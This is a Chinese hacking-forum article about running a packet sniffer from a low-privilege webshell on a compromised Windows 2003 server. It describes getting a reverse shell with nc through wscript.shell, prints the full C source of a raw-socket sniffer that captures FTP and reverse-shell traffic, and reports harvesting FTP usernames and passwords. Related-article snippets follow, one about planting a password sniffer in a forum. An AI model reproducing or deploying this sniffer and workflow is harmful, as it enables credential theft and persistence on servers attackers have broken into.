基于Webshell的sniffer可行性研究(图)

前言:

幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过.

我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的.

实验环境:

Windows2003服务器+海洋2006+serv-u5.2

服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令.

实验步骤:

1.利用wcript.shell执行nc 反弹得到shell

2.利用自编写工具进行嗅探(我只嗅探21和9001,其中21为ftp,9001为反弹端口)

/*------------------------------------------------------

*FIle:   SnifferFtp.c

*Effect: 用于在webshell进行嗅探实验之用,基于Raw

*Code:   Huai_Huai

*Page:   Http://hhuai.cn

*Date:   2006.1.12

*-----------------------------------------------------*/

#include <stdio.h>

#include <string.h>

#include "Winsock2.h"

#pragma comment(lib,"WS2_32.lib")

#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

#define STATUS_FAILED 0xFFFF

#define MAX_PACK_LEN 65535

#define MAX_ADDR_LEN 16

#define MAX_HOSTNAME_LEN 255

//定义ip报头

typedef struct _iphdr

{

byte ver_len;     //版本4位,头长度4位,报头长度以32位为一个单位

byte type;         //类型8位

byte length[2];     //总长度,16位,指出报文的以字节为单位的总长度

//报文长度不能超过65536个字接,否则认为报文遭到破坏

byte id[2];         //报文标示,用于多于一个报文16位

byte flag_offset[2];//标志,3位   数据块偏移13位

byte time;         //生存时间,8位

byte protocol;     //协议,8位

byte crc_val[2];   //头校验和,16位

byte src_addr[4];   //源地址,32位

byte tar_addr[4];   //目标地址,32位

byte options[4];   //选项和填充,32位

}IP_HEADER;

typedef struct _tcphdr

{

byte source_port[2];   //发送端端口号,16位

byte dest_port[2];     //接收端端口号,16位

byte sequence_no[4];   //32位,标示消息端的数据位于全体数据块的某一字节的数字

byte ack_no[4];         //32位,确认号,标示接收端对于发送端接收到数据块数值

unsigned char offset_reser_con;//数据偏移4位,预留6位,控制位6为

unsigned char th_flag;

byte window[2];         //窗口16位

byte checksum[2];     //校验码,16位

byte urgen_pointer[2];   //16位,紧急数据指针

byte options[3];     //选祥和填充,32位

}TCP_HEADER;

#define PROTOCOL_ICMP         1   //传输控制协议

#define PROTOCOL_GTG         3   //Gateway-to-Gateway

#define PROTOCOL_CGMM         4   //CMCC Gateway Monitoring Message

#define PROTOCOL_ST           5   //ST

#define PROTOCOL_TCP         6   //传输控制协议

#define PROTOCOL_UCL         7   //UCL

#define PROTOCOL_SECURE         9   //secure

#define PROTOCOL_BRM         10   //BBN RCC Monitoring

#define PROTOCOL_NVP         11   //NVp

#define PROTOCOL_PUP         12   //PUP

#define PROTOCOL_PLURIBUS     13 //Pluribus

#define PROTOCOL_TELENET     14   //Telenet

#define PROTOCOL_XNET         15   //XNET

#define PROTOCOL_CHAOS         16   //Chaos

#define PROTOCOL_UDP         17   //UDP

#define PROTOCOL_MULTIPLEXING   18   //Multiplexing

#define PROTOCOL_DCN         19   //DCN

#define PROTOCOL_TAC_MONITORING   20   //TAC Monitoring

#define PROTOCOL_ALN         63   //any local network

#define PROTOCOL_SATNET         64   //SATNET and Backroom EXPAK

#define PROTOCOL_MITSS         65   //MIT Subnet Support

#define PROTOCOL_SATNET_MONIT   69   //SATNET Monitoring

#define PROTOCOL_IPCU         71   //Internet Packet Core Utility

#define PROTOCOL_BK_SATNET_MONI 76   //Backroom SATNET Monitoring

#define PROTOCOL_WIDEBAND_MONI   78   //WIDEBAND Monitoring

#define PROTOCOL_WIDEBAND_EXPAK   79   //WIDEBAND EXPAK

SOCKET SocketRaw;

void startsniffer()

{

char RecvBuf[MAX_PACK_LEN]={0};

char FAR name[MAX_HOSTNAME_LEN];

WSADATA wsa;

struct hostent FAR* pHostent;

SOCKADDR_IN sa;

DWORD OutBuffer[10];

DWORD InBuffer=1;

DWORD BytesReturned=0;

if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)

{

printf("不能加载Winsock DLL!");

exit(0);

}

SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

if(SocketRaw==INVALID_SOCKET)

{

printf("不能创建Socket!");

exit(0);

}

gethostname(name,MAX_HOSTNAME_LEN);

//这里会自动分配内存

pHostent=gethostbyname(name);

sa.sin_family=AF_INET;

sa.sin_port=htons(6000);

memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],pHostent->h_length);

if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)

{

printf("不能绑定网卡!");

closesocket(SocketRaw);

exit(0);

}

if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),

&OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)

{

printf("不能创建WSAIoctl!");

closesocket(SocketRaw);

exit(0);

}

}

int ReceiveBuf(byte* buf,int len)

{

return recv(SocketRaw,(char *)buf,len,0);

}

void main()

{

int len;

byte RecvBuf[65535];

char buf[16];

int iphdr_len;

TCP_HEADER* pTcpHeader;

unsigned __int16 src_port;

unsigned __int16 dest_port;

int HdrLen;

__int16 datalen;

IP_HEADER* pIpheader;

int port1,port2;

startsniffer();

while(TRUE)

{

port1=port2=0;

memset(RecvBuf,0,65535);

len=ReceiveBuf(RecvBuf,65535);

if(len>0)

{

pIpheader=(IP_HEADER*)RecvBuf;

/*

switch(pIpheader->protocol)

{

case PROTOCOL_ICMP:

printf("ICMP");

break;

case PROTOCOL_TCP:

printf("TCP");

break;

case PROTOCOL_UDP:

printf("UDP");

break;

default:

printf("其他协议");

break;

}

*/

if(pIpheader->protocol==PROTOCOL_TCP)

{

iphdr_len=(pIpheader->ver_len&0xf)*4;

pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);

src_port=pTcpHeader->source_port[0]*0x100+pTcpHeader->source_port[1];

dest_port=pTcpHeader->dest_port[0]*0x100+pTcpHeader->dest_port[1];

memset(buf,0,16);

sprintf(buf,"%d",src_port);

port1=src_port;

//printf("%s ",buf);

memset(buf,0,16);

sprintf(buf,"%d",dest_port);

port2=dest_port;

//printf("%s ",buf);

if(port1==21 || port2==21 || port1==9001 || port2==9001)

{

HdrLen=(pTcpHeader->offset_reser_con)>>2;

memset(buf,0,16);

sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);

//printf("%s ",buf);

memset(buf,0,16);

sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],pIpheader->src_addr[1],pIpheader->src_addr[2],pIpheader->src_addr[3]);

//printf("%s ",buf);

memset(buf,0,16);

sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],pIpheader->tar_addr[1],pIpheader->tar_addr[2],pIpheader->tar_addr[3]);

//printf("%s ",buf);

datalen=pIpheader->length[0]*0x100+pIpheader->length[1];

memset(buf,0,16);

sprintf(buf,"%d",datalen);

//printf("%s ",buf);

HdrLen=(pTcpHeader->offset_reser_con)>>2;

memset(buf,0,16);

sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);

printf("%s",buf);

//printf("\n");

}

}

}

}

}

3.嗅探结果:

=800) window.open(’/pic/22/a2006-3-1-621a6f.jpg’);" src="/college/UploadPic/2006/8/27/2006827234138485.jpg" onload="if(this.width > 800)this.width = 800;if(this.height > 800) this.height = 800;" border=0>

4.实验小结:

确实可以嗅到一些信息,在本机winxp sp2可以嗅到ftp密码,但在win2003服务器上运行,就只能嗅到用户名,利用webshell执行的也可以嗅到用户名,一些操作,比如用户目录什么的.

我们的webshell权限可以非常的低,只要能利用wscript.shell就行.

其中有许多细节,需以后仔细的研究,万望论坛的高手能给予一点提示.(来源:邪恶八进制信息安全团队  作者:坏坏)

(0)

相关推荐

  • Php做的端口嗅探器--可以指定网站和端口

    <?   //Php做的端口嗅探器--可以指定网站和端口 //并返回嗅探结果     function http_request($server, $port) {     $data = "";     $query = "HEAD / HTTP/1.0";     $fp = fsockopen($server, $port);     if($fp) {     fputs($fp, $query."rnn");     while(

  • 宽带上网环境中的Sniffer攻防实例

    似乎有很多介绍宽带上网安全的文章,但往往提到的是木马.IE的漏洞之类的问题,殊不知有一类更危险的问题却好像未被用户注意,甚至不为防火墙所重视,但是一旦被人入侵却可以随意共享你的所有驱动器和其中的文件,而且实现起来是如此的简单.是何危险?且听我慢慢道来. 思考 近来我正在装修新居,这两天考虑到新家的局域网的网络结构,因为我早使用上了有线通,到时候肯定移机过去,所以现在有两种方案能被我考虑: 1.CABLE MODEM--HUB--各台主机: 2.CABLE MODEM--服务器(软路由)--HUB

  • javaScript嗅探执行神器-sniffer.js

    一.热身--先看实战代码 a.js 文件 // 定义Wall及内部方法 ;(function(window, FUNC, undefined){ var name = 'wall'; Wall.say = function(name){ console.log('I\'m '+ name +' !'); }; Wall.message = { getName : function(){ return name; }, setName : function(firstName, secondNam

  • 为动网论坛添加一个密码嗅探器(DVBBS)

    动网先锋论坛,凭借其强大全面的功能,再加上它免费提供给个人用户,在网络众多论坛中,独树一帜.很多人都把它作为自己论坛的最佳首选.但是新版本的论坛,对用户密码采用了不可逆的MD5加密,即使是管理员,也无法查询到个人用户的密码.再数据库中只能查询了加密后的结果. 先描述一下它得登陆过程,用户输入帐号后号,调用MD5函数,输入的密码加密,然后比较存储在数据库的数据和密码加密的结果是否相同.如果相同,登陆成功,将个人信息保存在COOKIE中. 现在我们要自己动手,为论坛增加一项记录密码的功能. 查看它登

  • 基于Webshell的sniffer可行性研究(图)

    前言: 幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过. 我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的. 实验环境: Windows2003服务器+海洋2006+serv-u5.2 服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令. 实验步骤: 1.

  • 基于JavaScript实现轮播图代码

    一.要点: 1.页面加载时,图片重合,叠在一起[绝对定位]; 2.第一张显示,其它隐藏; 3.设置下标,给下标设置颜色让它随图片移动; 4.鼠标移动到图片上去,显示左右移动图标,鼠标移走,继续轮播; 二.实现代码: html代码: <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type"

  • 基于jQuery全屏焦点图左右切换插件responsiveslides

    基于jQuery全屏焦点图切换插件responsiveslides是一款带左右箭头,索引按钮的自动轮播切换特效下载. 效果图如下: 在线预览    源码下载 html代码: <script type="text/javascript"> $(function () { // Slideshow $("#slider").responsiveSlides({ auto: true, pager: false, nav: true, speed: 500,

  • 网站基于flash实现的Banner图切换效果代码

    本文实例讲述了网站基于flash实现的Banner图切换效果代码,该实例的主要切换功能是由flash完成的.分享给大家供大家参考. 具体实现代码如下: 复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="

  • Java语言基于无向有权图实现克鲁斯卡尔算法代码示例

    所谓有权图,就是图中的每一条边上都会有相应的一个或一组值.通常情况下,这个值只是一个数字 如:在交通运输网中,边上的权值可能表示的是路程,也可能表示的是运输费用(显然二者都是数字).不过,边上的权值也有可能是其它东西,比如说是一个字符串,甚至是一个更加复杂的数据包,里面集合了更多的数据 克鲁斯卡尔算法的核心思想是:在带权连通图中,不断地在边集合中找到最小的边,如果该边满足得到最小生成树的条件,就将其构造,直到最后得到一颗最小生成树. 克鲁斯卡尔算法的执行步骤: 第一步:在带权连通图中,将边的权值

  • 基于TensorBoard中graph模块图结构分析

    在上一篇文章中,我们介绍了如何使用源码对TensorBoard进行编译教程,没有定制需求的可以直接使用pip进行安装. TensorBoard中的graph是一种计算图,里面的点用于表示Tensor本身或者运算符,图中的边则代表Tensor的流动或者控制关系. 本文主要从代码的层面,分析graph的数据来源与结构. 一般来说,我们在启动TensorBoard的时候会使用--logdir参数配置文件路径(或者设置数据库位置),这些日志文件为TensorBoard提供了数据.于是我们打开一个日志文件

  • python基于Bokeh库制作子弹图及瀑布图示例教程

    目录 子弹图 瀑布图 首先,让我们进行导入并使 Bokeh 的输出显示在我们的笔记本中: from bokeh.io import show, output_notebook from bokeh.palettes import PuBu4 from bokeh.plotting import figure from bokeh.models import Label output_notebook() 子弹图 在这个例子中,我们将用 python 列表填充数据. 我们可以修改它以适应Panda

  • 基于Vue的商品主图放大镜方案详解

    前言 在做电商类应用时,难免会遇到商品主图实现放大镜效果的场景,现有的基于 Vue 的第三方包不多并且无法直接复用,今天,我来分享一种高稳定性的基于 Vue 的图片放大镜方法. 实现原理 放大镜的原理用一句话概括,就是根据小图上的鼠标位置去定位大图. 图1 原理图(以2倍放大为例) 相信原理图已经画的很明白了, 图中,左侧框是小图框,其蓝色区域为图片遮罩层(需放大区域),右侧框是整个大图目前所在区域,其蓝色区域是放大区域,设置超出隐藏,就实现了放大遮罩区域的效果. 显然,两块蓝色区域存在着某种对

  • js基于myFocus实现轮播图效果

    本文实例为大家分享了myFocus轮播图的具体代码,供大家参考,具体内容如下 完整文件及代码: https://github.com/erdouzhang/slider-myFocus step1.页面引入相关文件 <link rel="stylesheet" href="lib/mf-pattern/mF_slide3D.css" rel="external nofollow" > <script src="lib/

  • 基于JavaScript实现轮播图原理及示例

    网上有很多的例子介绍,在这里我所做的无缝滚动就是 通过改变元素的left值让图片呈现左右滚动的效果. 我们首先看一下 div+css 的结构样式: div+css代码 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> <style type="text/css"> *{ margin: 0; pa

随机推荐